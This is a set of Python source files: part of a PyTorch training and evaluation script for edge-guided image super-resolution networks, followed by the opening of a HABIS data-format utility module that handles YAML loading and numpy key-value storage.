self.scale_factor), int(h // self.scale_factor) w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor # transform tensor hr = img.resize((w_hr, h_hr), Image.ANTIALIAS) lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS) bc4x = lr4x.resize((w_hr, h_hr), Image.BICUBIC) hr_ = Transforms.ToTensor()(hr).unsqueeze(0) bc4x_ = Transforms.ToTensor()(bc4x).unsqueeze(0) lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0) if USE_GPU: hr_ = hr_.cuda() lr4x_ = lr4x_.cuda() sr4x_edge_ = srresnet2x2_edge(srresnet2x1_edge(lr4x_)) sr4x_none_ = srresnet2x2_none(srresnet2x1_none(lr4x_)) # calculate PSNR & SSIM psnr_edge_4x_score = batch_compare_filter( sr4x_edge_.cpu().data, hr_, PSNR) ssim_edge_4x_score = batch_compare_filter( sr4x_edge_.cpu().data, hr_, SSIM) psnr_edge_4x_avg.add(psnr_edge_4x_score) ssim_edge_4x_avg.add(ssim_edge_4x_score) psnr_none_4x_score = batch_compare_filter( sr4x_none_.cpu().data, hr_, PSNR) ssim_none_4x_score = batch_compare_filter( sr4x_none_.cpu().data, hr_, SSIM) psnr_none_4x_avg.add(psnr_none_4x_score) ssim_none_4x_avg.add(ssim_none_4x_score) # save image save_img(sr4x_edge_.cpu().data, os.path.join(sr_edge_dir, img_name)) save_img(sr4x_none_.cpu().data, os.path.join(sr_none_dir, img_name)) save_img(bc4x_.cpu().data, os.path.join(bc_dir, img_name)) save_img(hr_.cpu().data, os.path.join(hr_dir, img_name)) save_img(lr4x_.cpu().data, os.path.join(lr_dir, img_name)) print("final edge PSNR score: {}".format(psnr_edge_4x_avg.value()[0])) print("final edge SSIM score: {}".format(ssim_edge_4x_avg.value()[0])) print("final none PSNR score: {}".format(psnr_none_4x_avg.value()[0])) print("final none SSIM score: {}".format(ssim_none_4x_avg.value()[0])) def save_model(self, model, save_dir, model_name, mtype='pkl'): if not os.path.exists(save_dir): os.makedirs(save_dir) if mtype == 'pkl': save_path = os.path.join(save_dir, model_name+'.pkl') torch.save(model.state_dict(), save_path) elif mtype == 'pth': save_path = os.path.join(save_dir, model_name+'.pth') torch.save(model.state_dict(), save_path)

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import numpy as np from scipy.misc import imsave import os import torch import torch.nn as nn import torch.optim as optim import torch.nn.init as init import torch.nn.functional as F import torchvision from torchvision import models from torch.autograd import Variable from torch.utils.data import DataLoader import torchvision.transforms as Transforms from dataloader import TrainDataset, DevDataset, TestDataset from networks.unet import UNet, unet_weight_init from networks.hed import HED, HED_1L, hed_weight_init from networks.resnet import ResnetGenerator, Upscale4xResnetGenerator, Upscale2xResnetGenerator from networks.resnet_wdsr import WDSRResnetGenerator from networks.discriminators import NLayerDiscriminator from networks.vggfeature import VGGFeatureMap from utils.visualizer import Visualizer from utils.loss import BCE2d from utils.normalize import norm, denorm, weights_init_normal from utils.target import PSNR, SSIM, batch_compare_filter, batch_SSIM USE_GPU = torch.cuda.is_available() NORM = 'batch' from scipy.misc import imsave def save_img(img, save_fn=''): if not os.path.exists(os.path.split(save_fn)[0]): os.makedirs(os.path.split(save_fn)[0]) if list(img.shape)[0] == 3: save_image = img save_image = save_image.clamp(0, 1).numpy().transpose(1, 2, 0) else: save_image = img.squeeze().clamp(0, 1).numpy().transpose(1, 2, 0) imsave(save_fn, save_image) class Model(object): def __init__(self, cfg): self.env = cfg.env self.train_dataset = cfg.train_dataset self.valid_dataset = cfg.valid_dataset self.test_dataset = cfg.test_dataset self.data_dir = cfg.data_dir self.save_dir = cfg.save_dir self.num_threads = int(cfg.num_threads) self.num_epochs = int(cfg.num_epochs) self.save_epochs = int(cfg.save_epochs) self.pretrain_epochs = int(cfg.pretrain_epochs) self.batch_size = int(cfg.batch_size) self.valid_batch_size = int(cfg.valid_batch_size) self.test_batch_size = int(cfg.test_batch_size) self.plot_iter = int(cfg.plot_iter) self.crop_size = int(cfg.crop_size) self.scale_factor = int(cfg.scale_factor) self.lr = float(cfg.lr) def load_dataset(self, mode='train', random_scale=True, rotate=True, fliplr=True, fliptb=True): if mode == 'train': train_set = TrainDataset(os.path.join(self.data_dir, self.train_dataset), crop_size=self.crop_size, scale_factor=self.scale_factor, random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb) return DataLoader(dataset=train_set, num_workers=self.num_threads, batch_size=self.batch_size, shuffle=True) elif mode == 'valid': valid_set = DevDataset(os.path.join( self.data_dir, self.valid_dataset)) return DataLoader(dataset=valid_set, num_workers=self.num_threads, batch_size=self.valid_batch_size, shuffle=True) elif mode == 'test': test_set = TestDataset(os.path.join( self.data_dir, self.test_dataset)) return DataLoader(dataset=test_set, num_workers=self.num_threads, batch_size=self.test_batch_size, shuffle=False) def train(self, edgenetpath=None, sr2x1_path=None, sr2x2_path=None, srcnn_path=None, srresnet_path=None, is_fine_tune=False, random_scale=True, rotate=True, fliplr=True, fliptb=True): vis = Visualizer(self.env) print('================ Loading datasets =================') print('## Current Mode: Train') train_data_loader = self.load_dataset( mode='train', random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb) psnr_4x_avg.reset() # ssim_4x_avg.reset() # learning rate is decayed by a factor every 20 epoch if (epoch + 1) % 5 == 0: for param_group in srresnet2x1_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for srresnet2x1: lr={}".format( srresnet2x1_optimizer.param_groups[0]["lr"])) for param_group in srresnet2x2_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for srresnet2x2: lr={}".format( srresnet2x2_optimizer.param_groups[0]["lr"])) for param_group in disc_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for discnet: lr={}".format( disc_optimizer.param_groups[0]["lr"])) itbar = tqdm(enumerate(train_data_loader)) for ii, (hr, lr2x, lr4x, bc2x, bc4x) in itbar: mini_batch = hr.size()[0] hr_ = Variable(hr) lr2x_ = Variable(lr2x) lr4x_ = Variable(lr4x) bc2x_ = Variable(bc2x) bc4x_ = Variable(bc4x) real_label = Variable(torch.ones(mini_batch)) fake_label = Variable(torch.zeros(mini_batch)) # cuda mode setting if USE_GPU: hr_ = hr_.cuda() lr2x_ = lr2x_.cuda() lr4x_ = lr4x_.cuda() bc2x_ = bc2x_.cuda() bc4x_ = bc4x_.cuda() real_label = real_label.cuda() fake_label = fake_label.cuda() # =============================================================== # # ================ Edge-based srresnet training ================= # # =============================================================== # sr2x_ = srresnet2x1(lr4x_) sr4x_ = srresnet2x2(lr2x_) if epoch + 1 > self.pretrain_epochs: disc_optimizer.zero_grad() #===== 2x disc loss =====# real_decision_2x = discnet(lr2x_) real_loss_2x = BCE_loss( real_decision_2x, real_label.detach()) fake_decision_2x = discnet(sr2x_.detach()) fake_loss_2x = BCE_loss( fake_decision_2x, fake_label.detach()) disc_loss_2x = real_loss_2x + fake_loss_2x disc_loss_2x.backward() disc_optimizer.step() #===== 4x disc loss =====# real_decision_4x = discnet(hr_) real_loss_4x = BCE_loss( real_decision_4x, real_label.detach()) fake_decision_4x = discnet(sr4x_.detach()) fake_loss_4x = BCE_loss( fake_decision_4x, fake_label.detach()) disc_loss_4x = real_loss_4x + fake_loss_4x disc_loss_4x.backward() disc_optimizer.step() disc_avg_loss.add( (disc_loss_2x + disc_loss_4x).data.item()) edge_trade_off = [0.7, 0.2, 0.1, 0.05, 0.01, 0.3] if epoch + 1 > self.pretrain_epochs: a1, a2, a3 = 0.75, 0.1, 0.65 else: a1, a2, a3 = 0.75, 0.0, 0.7 if not is_fine_tune: #============ calculate 2x loss ==============# srresnet2x1_optimizer.zero_grad() #### Edgenet Loss #### pred = edgenet(sr2x_) real = edgenet(lr2x_) edge_loss_2x = BCE_loss(pred.detach(), real.detach()) # for i in range(6): # edge_loss_2x += edge_trade_off[i] * \ # BCE_loss(pred[i].detach(), real[i].detach()) # edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i]) #### Content Loss #### content_loss_2x = MSE_loss(sr2x_, lr2x_) #+ 0.1*BCE_loss(1-sr2x_, 1-lr2x_) #### Perceptual Loss #### real_feature = featuremapping(lr2x_) fake_feature = featuremapping(sr2x_) vgg_loss_2x = MSE_loss(fake_feature, real_feature.detach()) #### Adversarial Loss #### advs_loss_2x = BCE_loss(discnet(sr2x_), real_label) if epoch + 1 > self.pretrain_epochs else 0 # advs_loss_2x = 0 #============== loss backward ===============# total_loss_2x = a1 * edge_loss_2x + a2 * advs_loss_2x + \ a3 * content_loss_2x + (1.0 - a3) * vgg_loss_2x # total_loss_2x = 1.0 * content_loss_2x + 0.25 * vgg_loss_2x total_loss_2x.backward() srresnet2x1_optimizer.step() #============ calculate scores ==============# # psnr_2x_score_process = batch_compare_filter( # sr2x_.cpu().data, lr2x, PSNR) # psnr_2x_avg.add(psnr_2x_score_process) # ssim_2x_score_process = batch_compare_filter( # sr2x_.cpu().data, lr2x, SSIM) # ssim_2x_avg.add(ssim_2x_score_process) #============ calculate 4x loss ==============# if is_fine_tune: sr4x_ = srresnet2x2(srresnet2x1(lr4x_)) srresnet2x2_optimizer.zero_grad() #### Edgenet Loss #### pred = edgenet(sr4x_) real = edgenet(hr_) # edge_loss_4x = 0 edge_loss_4x = BCE_loss(pred.detach(), real.detach()) # for i in range(6): # edge_loss_4x += edge_trade_off[i] * \ # BCE_loss(pred[i].detach(), real[i].detach()) # edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i]) #### Content Loss #### content_loss_4x = MSE_loss(sr4x_, hr_) #+ 0.1*BCE_loss(1-sr4x_, 1-hr_) #### Perceptual Loss #### real_feature = featuremapping(hr_) fake_feature = featuremapping(sr4x_) vgg_loss_4x = MSE_loss(fake_feature, real_feature.detach()) #### Adversarial Loss #### advs_loss_4x = BCE_loss(discnet(sr4x_), real_label) if epoch + 1 > self.pretrain_epochs else 0 # advs_loss_4x = 0 #============== loss backward ===============# total_loss_4x = a1 * edge_loss_4x + a2 * advs_loss_4x + \ a3 * content_loss_4x + (1.0 - a3) * vgg_loss_4x # total_loss_4x = 1.0 * content_loss_4x + 0.25 * vgg_loss_4x total_loss_4x.backward() srresnet2x2_optimizer.step() #============ calculate scores ==============# # psnr_4x_score_process = batch_compare_filter( # sr4x_.cpu().data, hr, PSNR) # psnr_4x_avg.add(psnr_4x_score_process) # ssim_4x_score_process = batch_compare_filter( # sr4x_.cpu().data, hr, SSIM) # ssim_4x_avg.add(ssim_4x_score_process) if is_fine_tune: total_avg_loss.add(total_loss_4x.data.item()) edge_avg_loss.add(edge_loss_4x.data.item()) else: total_avg_loss.add((total_loss_2x+total_loss_4x).data.item()) edge_avg_loss.add((edge_loss_2x+edge_loss_4x).data.item()) if epoch + 1 > self.pretrain_epochs: disc_avg_loss.add((advs_loss_2x+advs_loss_4x).data.item()) if (ii+1) % self.plot_iter == self.plot_iter-1: res = {'edge loss': edge_avg_loss.value()[0], 'generate loss': total_avg_loss.value()[0], 'discriminate loss': disc_avg_loss.value()[0]} vis.plot_many(res, 'Deblur net Loss') # psnr_2x_score_origin = batch_compare_filter( # bc2x, lr2x, PSNR) # psnr_4x_score_origin = batch_compare_filter(bc4x, hr, PSNR) # res_psnr = {'2x_origin_psnr': psnr_2x_score_origin, # '2x_sr_psnr': psnr_2x_score_process, # '4x_origin_psnr': psnr_4x_score_origin, # '4x_sr_psnr': psnr_4x_score_process} # vis.plot_many(res_psnr, 'PSNR Score') # ssim_2x_score_origin = batch_compare_filter( # bc2x, lr2x, SSIM) # ssim_4x_score_origin = batch_compare_filter(bc4x, hr, SSIM) # res_ssim = {'2x_origin_ssim': ssim_2x_score_origin, # '2x_sr_ssim': ssim_2x_score_process, # '4x_origin_ssim': ssim_4x_score_origin, # '4x_sr_ssim': ssim_4x_score_process} # vis.plot_many(res_ssim, 'SSIM Score') #======================= Output result of total training processing =======================# itcnt += 1 # itbar.set_description("Epoch: [%2d] [%d/%d] PSNR_2x_Avg: %.6f, SSIM_2x_Avg: %.6f, PSNR_4x_Avg: %.6f, SSIM_4x_Avg: %.6f" # % ((epoch + 1), (ii + 1), len(train_data_loader), # psnr_2x_avg.value()[0], ssim_2x_avg.value()[ # 0], # psnr_4x_avg.value()[0], ssim_4x_avg.value()[0])) itbar.set_description("Epoch: [%2d] [%d/%d]" % ((epoch + 1), (ii + 1), len(train_data_loader))) if (ii+1) % self.plot_iter == self.plot_iter-1: # test_ = deblurnet(torch.cat([y_.detach(), x_edge], 1)) hr_edge = edgenet(hr_) sr2x_edge = edgenet(sr2x_) sr4x_edge = edgenet(sr4x_) vis.images(hr_edge.cpu().data, win='HR edge predict', opts=dict( title='HR edge predict')) vis.images(sr2x_edge.cpu().data, win='SR2X edge predict', opts=dict( title='SR2X edge predict')) vis.images(sr4x_edge.cpu().data, win='SR4X edge predict', opts=dict( title='SR4X edge predict')) vis.images(lr2x, win='LR2X image', opts=dict(title='LR2X image')) vis.images(lr4x, win='LR4X image', opts=dict(title='LR4X image')) vis.images(bc2x, win='BC2X image', opts=dict(title='BC2X image')) vis.images(bc4x, win='BC4X image', opts=dict(title='BC4X image')) vis.images(sr2x_.cpu().data, win='SR2X image', opts=dict(title='SR2X image')) vis.images(sr4x_.cpu().data, win='SR4X image', opts=dict(title='SR4X image')) vis.images(hr, win='HR image', opts=dict(title='HR image')) t_save_dir = 'results/train_result/'+self.train_dataset if not os.path.exists(t_save_dir): os.makedirs(t_save_dir) if (epoch + 1) % self.save_epochs == 0 and (ii+1) % 200 == 0: self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) if (epoch + 1) % self.save_epochs == 0: self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) # Save final trained model and results vis.save([self.env]) self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, self.num_epochs)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, self.num_epochs)) def test(self, sr2x1_path=None, sr2x2_path=None): test_data_dir = os.path.join(self.data_dir, self.test_dataset) result_data_dir = os.path.join(self.save_dir, "test_results", "2x2UnitNet_SR_"+self.test_dataset) if not os.path.exists(result_data_dir): os.makedirs(result_data_dir) # judge whether model exists if not os.path.exists(sr2x1_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_path): raise Exception('sr2x2 resnet model not exists') # load network params # srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu', learn_residual=True) # srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu', learn_residual=True) srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x1.load_state_dict(torch.load(sr2x1_path)) srresnet2x2.load_state_dict(torch.load(sr2x2_path)) if USE_GPU: srresnet2x1.cuda() srresnet2x2.cuda() import torchnet as tnt from tqdm import tqdm from PIL import Image import time psnr_4x_avg = tnt.meter.AverageValueMeter() ssim_4x_avg = tnt.meter.AverageValueMeter() time_avg = tnt.meter.AverageValueMeter() srresnet2x1.eval() srresnet2x2.eval() # processing test data iterbar = tqdm(os.listdir(test_data_dir)) import cv2 import numpy as np for img_name in iterbar: try: img = cv2.imread(os.path.join(test_data_dir, img_name), cv2.IMREAD_COLOR) img = cv2.resize(img, None, None, 0.5, 0.5, interpolation=cv2.INTER_AREA) h, w, c = img.shape[0], img.shape[1], img.shape[2] w_lr4x, h_lr4x = int( w // self.scale_factor), int(h // self.scale_factor) w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2 w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor w_num, h_num = w // self.crop_size, h // self.crop_size w_num += 1 if w % self.crop_size != 0 else 0 h_num += 1 if h % self.crop_size != 0 else 0 res = np.zeros((h*2, w*2, c), dtype=np.uint8) for i in range(w_num): l = i * self.crop_size l_new = l * 2 r = min(l+self.crop_size, w) r_new = w * 2 if r == w else l_new + self.crop_size * 2 for j in range(h_num): t = j * self.crop_size t_new = t * 2 b = min(t+self.crop_size, h) b_new = h * 2 if b == h else t_new + self.crop_size * 2 lr = img[t:b, l:r] lr = Transforms.ToTensor()(lr).unsqueeze(0) if USE_GPU: lr = lr.cuda() sr = srresnet2x1(lr).squeeze() res_sr = sr.cpu().data.clamp(0, 1).numpy().transpose(1, 2, 0)*255 res[t_new:b_new, l_new:r_new] = res_sr cv2.imwrite(os.path.join(result_data_dir, img_name), res) except IOError: pass finally: pass # for img_name in iterbar: # try: # img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB") # transform = Transforms.RandomCrop(self.crop_size) # img = transform(img) # w, h = img.size[0], img.size[1] # w_lr4x, h_lr4x = int( # w // self.scale_factor), int(h // self.scale_factor) # w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2 # # w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor # # transform tensor # # hr = img.resize((w_hr, h_hr), Image.ANTIALIAS) # # lr2x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS) # lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS) # lr4x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS) # # hr_ = Transforms.ToTensor()(hr).unsqueeze(0) # # lr2x_ = Transforms.ToTensor()(lr2x).unsqueeze(0) # lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0) # if USE_GPU: # # hr_ = hr_.cuda() # # lr2x_ = lr2x_.cuda() # lr4x_ = lr4x_.cuda() # torch.cuda.synchronize() # start = time.time() # sr4x_ = srresnet2x2(srresnet2x1(lr4x_)) # # sr4x_ = srresnet2x1(lr4x_) # torch.cuda.synchronize() # end = time.time() # time_avg.add(end-start) # except IOError: # pass # finally: # pass # # calculate PSNR & SSIM # psnr_4x_score = batch_compare_filter( # sr4x_.cpu().data, hr_, PSNR) # ssim_4x_score = batch_compare_filter( # sr4x_.cpu().data, hr_, SSIM) # psnr_4x_avg.add(psnr_4x_score) # ssim_4x_avg.add(ssim_4x_score) # # save image # save_img(sr4x_.cpu().data, os.path.join(result_data_dir, img_name)) print(time_avg.value()[0]) print("final PSNR score: {}".format(psnr_4x_avg.value()[0])) print("final SSIM score: {}".format(ssim_4x_avg.value()[0])) def test_t(self, sr2x1_1_path=None, sr2x2_1_path=None, sr2x1_2_path=None, sr2x2_2_path=None): test_data_dir = os.path.join(self.data_dir, self.test_dataset) sr_edge_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_Edge_SR_"+self.test_dataset) if not os.path.exists(sr_edge_dir): os.makedirs(sr_edge_dir) sr_none_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_none_SR_"+self.test_dataset) if not os.path.exists(sr_none_dir): os.makedirs(sr_none_dir) bc_dir = os.path.join(self.save_dir, "show_results", "Bicubic_SR_"+self.test_dataset) if not os.path.exists(bc_dir): os.makedirs(bc_dir) hr_dir = os.path.join(self.save_dir, "show_results", "HR_"+self.test_dataset) if not os.path.exists(hr_dir): os.makedirs(hr_dir) lr_dir = os.path.join(self.save_dir, "show_results", "LR_"+self.test_dataset) if not os.path.exists(lr_dir): os.makedirs(lr_dir) # judge whether model exists if not os.path.exists(sr2x1_1_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_1_path): raise Exception('sr2x2 resnet model not exists') if not os.path.exists(sr2x1_2_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_2_path): raise Exception('sr2x2 resnet model not exists') # load network params srresnet2x1_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x2_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x1_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x2_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x1_edge.load_state_dict(torch.load(sr2x1_1_path)) srresnet2x2_edge.load_state_dict(torch.load(sr2x2_1_path)) srresnet2x1_none.load_state_dict(torch.load(sr2x1_2_path)) srresnet2x2_none.load_state_dict(torch.load(sr2x2_2_path)) if USE_GPU: srresnet2x1_edge.cuda() srresnet2x2_edge.cuda() srresnet2x1_none.cuda() srresnet2x2_none.cuda() import torchnet as tnt from tqdm import tqdm from PIL import Image psnr_edge_4x_avg = tnt.meter.AverageValueMeter() ssim_edge_4x_avg = tnt.meter.AverageValueMeter() psnr_none_4x_avg = tnt.meter.AverageValueMeter() ssim_none_4x_avg = tnt.meter.AverageValueMeter() # srresnet2x1_edge.eval() # srresnet2x2_edge.eval() # srresnet2x1_none.eval() # srresnet2x2_none.eval() # processing test data iterbar = tqdm(os.listdir(test_data_dir)) for img_name in iterbar: img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB") transform = Transforms.RandomCrop(self.crop_size) img = transform(img) w, h = img.size[0], img.size[1] w_lr4x, h_lr4x = int( w // self.scale_factor), int(h // self.scale_factor) w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor # transform tensor hr = img.resize((w_hr, h_hr), Image.ANTIALIAS) lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS) bc4x = lr4x.resize((w_hr, h_hr), Image.BICUBIC) hr_ = Transforms.ToTensor()(hr).unsqueeze(0) bc4x_ = Transforms.ToTensor()(bc4x).unsqueeze(0) lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0) if USE_GPU: hr_ = hr_.cuda() lr4x_ = lr4x_.cuda() sr4x_edge_ = srresnet2x2_edge(srresnet2x1_edge(lr4x_)) sr4x_none_ = srresnet2x2_none(srresnet2x1_none(lr4x_)) # calculate PSNR & SSIM psnr_edge_4x_score = batch_compare_filter( sr4x_edge_.cpu().data, hr_, PSNR) ssim_edge_4x_score = batch_compare_filter( sr4x_edge_.cpu().data, hr_, SSIM) psnr_edge_4x_avg.add(psnr_edge_4x_score) ssim_edge_4x_avg.add(ssim_edge_4x_score) psnr_none_4x_score = batch_compare_filter( sr4x_none_.cpu().data, hr_, PSNR) ssim_none_4x_score = batch_compare_filter( sr4x_none_.cpu().data, hr_, SSIM) psnr_none_4x_avg.add(psnr_none_4x_score) ssim_none_4x_avg.add(ssim_none_4x_score) # save image save_img(sr4x_edge_.cpu().data, os.path.join(sr_edge_dir, img_name)) save_img(sr4x_none_.cpu().data, os.path.join(sr_none_dir, img_name)) save_img(bc4x_.cpu().data, os.path.join(bc_dir, img_name)) save_img(hr_.cpu().data, os.path.join(hr_dir, img_name)) save_img(lr4x_.cpu().data, os.path.join(lr_dir, img_name)) print("final edge PSNR score: {}".format(psnr_edge_4x_avg.value()[0])) print("final edge SSIM score: {}".format(ssim_edge_4x_avg.value()[0])) print("final none PSNR score: {}".format(psnr_none_4x_avg.value()[0])) print("final none SSIM score: {}".format(ssim_none_4x_avg.value()[0])) def save_model(self, model, save_dir, model_name, mtype='pkl'): if not os.path.exists(save_dir): os.makedirs(save_dir) if mtype == 'pkl': save_path = os.path.join(save_dir, model_name+'.pkl') torch.save(model.state_dict(), save_path) elif mtype == 'pth': save_path = os.path.join(save_dir, model_name+'.pth') torch.save(model.state_dict(), save_path)

true

f7f36e08915d2edeeaf97193ec835e44d788ebe4

59,743

py

Python

habis/formats.py

ahesford/habis-tools

82f82b99fa18452697404100edcf83bd03d35abc

[ "BSD-2-Clause" ]

null

habis/formats.py

ahesford/habis-tools

82f82b99fa18452697404100edcf83bd03d35abc

[ "BSD-2-Clause" ]

null

habis/formats.py

ahesford/habis-tools

82f82b99fa18452697404100edcf83bd03d35abc

[ "BSD-2-Clause" ]

null

''' Routines for manipulating HABIS data file formats. ''' # Copyright (c) 2015 Andrew J. Hesford. All rights reserved. # Restrictions are listed in the LICENSE file distributed with this package. import mmap import numpy as np import os import struct from itertools import repeat from collections import OrderedDict from functools import reduce, partial import warnings class ArgparseLoader(object): ''' A factory to load arguments provided to argparse.ArgumentParser using a provided lodaer function with a defined set of options. ''' def __init__(self, loader, *args, **kwargs): ''' Create a callable that accepts a single string argument and, when called, invokes the provided loader function with the string as the first argument. All other positional and keyword arguments are stored and passed to the loader following the string. ''' if not callable(loader): raise TypeError('Argument "loader" must be callable') # Retain a reference to the loader self._loader = loader # Retain the mode and a copy of the arguments self._args = tuple(args) self._kwargs = kwargs def __call__(self, string): ''' Invoke the loader associated with this instance, passing string as the first argument and all associated positional and keyword arguments thereafter. Any error encountered, will be converted to an argparse.ArgumentTypeError. ''' from argparse import ArgumentTypeError try: return self._loader(string, *self._args, **self._kwargs) except Exception as err: message = f'failed to load {string}: {err}' raise ArgumentTypeError(f'failed to load {string}: {err}') # Warnings and errors related to WaveformSet I/O class WaveformSetIOWarning(UserWarning): pass class WaveformSetIOError(Exception): pass def strict_int(x): ix = int(x) if ix != x: raise ValueError('Argument must be integer-compatible') return ix def strict_nonnegative_int(x, positive=False): x = strict_int(x) if positive and x <= 0: raise ValueError('Argument must be positive') elif x < 0: raise ValueError('Argument must be nonnegative') return x def renderAndLoadYaml(data, **kwargs): ''' Attempt to render the string data as a Mako template with kwargs passed to the Mako renderer with string_undefined=True. Parse the rendered result as YAML using yaml.safe_load. If the Mako template engine cannot be imported, the data is parsed as pure YAML. Specifying kwargs when Mako cannot be imported raises a TypeError. ''' from yaml import safe_load try: from mako.template import Template except ImportError: if kwargs: raise TypeError('Extra keyword arguments ' 'require Mako template engine') return safe_load(data) else: tmpl = Template(text=data, strict_undefined=True) return safe_load(tmpl.render(**kwargs)) def loadmatlist(files, *a, **k): ''' A conveience function to produce the ordered dictionary OrderedDict(sorted(kv for f in files for kv in loadkeymat(f, *a, **k).iteritems())) If files is a string instead of any other iterable, it will be replaced with glob.glob(files) before being inserted into the above constructor. When files is a string, a special keyword argument, forcematch, may be provided. This argument will be stripped from the kwargs dictionary k and, when True, will cause an IOError to be raised if the glob matches no files. Otherwise, if forcematch is omitted or False, a glob that matches no files will cause an empty map to be returned. ''' if isinstance(files, str): from glob import glob files = glob(files) forcematch = k.pop('forcematch', False) if forcematch and not files: raise IOError('No matches for glob "files"') return OrderedDict(sorted(kv for f in files for kv in loadkeymat(f, *a, **k).items())) def loadkeymat(f, scalar=None, dtype=None, nkeys=None): ''' A convenience function that will attempt to load a mapping from f using loadz_keymat or (if loadz_keymat fails) loadtxt_keymat. The optional arguments scalar and dtype, if not None, are passed as kwargs to either load function. If nkeys is not None, it will be used to verify the cardinality of keys in a mapping returned by a successful call to loadz_keymat or passed as an argument to loadtxt_keymat. ''' # Build optional kwargs kwargs = { } if scalar is not None: kwargs['scalar'] = scalar if dtype is not None: kwargs['dtype'] = dtype try: mapping = loadz_keymat(f, **kwargs) except (ValueError, IOError): if nkeys is not None: kwargs['nkeys'] = nkeys return loadtxt_keymat(f, **kwargs) if nkeys is not None and len(mapping): key = next(iter(mapping.keys())) try: nk = len(key) except TypeError: nk = 1 if nkeys != nk: raise ValueError('Cardinality of keys in mapping does not match nkeys parameter') return mapping def savez_keymat(f, mapping, sortrows=True, compressed=False, comment=None): ''' Stores mapping, which maps one or more integers to one or more numerical values, into f (which may be a string providing a file name, or an open file-like object) using numpy.savez (if compressed is False) or numpy.savez_compressed (if compressed is True). All keys must contain the same number of integers. Each value in the mapping may consiste of an arbitrary number of numeric values. If sortrows is True, the data will be stored in an order determined by sorted(mapping.keys()). Otherwise, the row order is either arbitrary or enforced by the input map (e.g., an OrderedDict). The saved npz file contains three arrays: 'keys', an N-by-M integer array such that each row specifies an M-integer key in the input mapping; 'values', which stores the values of the mapping flattened according to the order of 'keys', and 'lengths', which specifies the length of the value array for each associated key. That is, mapping[keys[i]] = values[start:start+lengths[i]], where start = sum(lengths[j] for 0 <= j < i). If the lengths of the value lists for all keys are the same, the 'lengths' array may be just a scalar value, in which case 'lengths[i]' should be interpreted as '([lengths] * len(keys))[i]'. If comment is not None, it should be a string that will be stored as an extra array, called 'comment', in the output file. The comment will be ignored when loading the file. ''' # Make sure any comment is a string if comment is not None: exargs = { 'comment': str(comment) } else: exargs = { } keys = sorted(mapping.keys()) if sortrows else list(mapping.keys()) # Build the length array and flattened value array lengths, values = [ ], [ ] for k in keys: v = mapping[k] try: lengths.append(len(v)) values.extend(v) except TypeError: lengths.append(1) values.append(v) lengths = np.array(lengths) values = np.array(values) # Collapse lengths to scalar if possible try: lv = lengths[0] except IndexError: lv = 0 if np.all(lengths == lv): lengths = np.array(lv) # Verify the value array if not np.issubdtype(values.dtype, np.number): raise TypeError('Values in mapping must be numeric') # Verify the key array keys = np.array(keys) if not np.issubdtype(keys.dtype, np.integer) or keys.ndim > 2: raise TypeError('Keys in mapping 